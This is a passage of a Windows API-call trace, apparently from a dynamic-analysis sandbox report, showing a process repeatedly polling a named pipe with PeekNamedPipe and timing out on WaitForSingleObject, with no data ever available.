lpBytesLeftThisMessage=0x0) returned 1 [0068.068] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0068.214] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.214] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0068.654] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.654] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0068.683] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0068.683] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0069.792] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.802] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0069.879] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0069.879] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.078] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.078] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.136] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.136] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.178] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.178] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.195] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.196] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.227] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.228] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.260] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.260] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.290] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.290] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.320] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.320] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.353] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.353] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.394] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.394] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.419] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.419] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.456] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.456] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.507] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.507] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.908] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.908] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0070.929] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0070.929] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.029] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.029] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.259] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.259] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.316] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.316] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.420] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.421] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.443] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.443] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.473] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.473] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.508] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.508] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.535] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.536] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.568] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.569] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.598] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.598] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.630] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.630] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0072.660] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0072.660] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0073.026] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.026] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0073.050] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.050] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.100] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.100] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.150] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.150] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.239] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.239] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.338] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.338] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.423] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.424] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.467] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.467] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.920] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.920] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0074.938] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.938] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0075.013] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.013] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0075.411] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.411] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0075.459] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.459] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0075.937] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.938] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0075.968] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0075.968] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.002] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.002] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.167] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.298] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.742] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.742] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.771] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.771] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.795] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.795] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.829] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.829] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0076.858] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.858] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0077.787] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.787] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0077.830] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.852] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0077.889] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.889] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0077.917] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.918] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0077.982] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0077.982] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.012] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.012] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.070] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.070] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.158] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.158] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.387] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.388] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.410] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.410] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.586] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.586] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.647] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.647] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.667] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.667] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.700] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0078.700] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0078.729] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 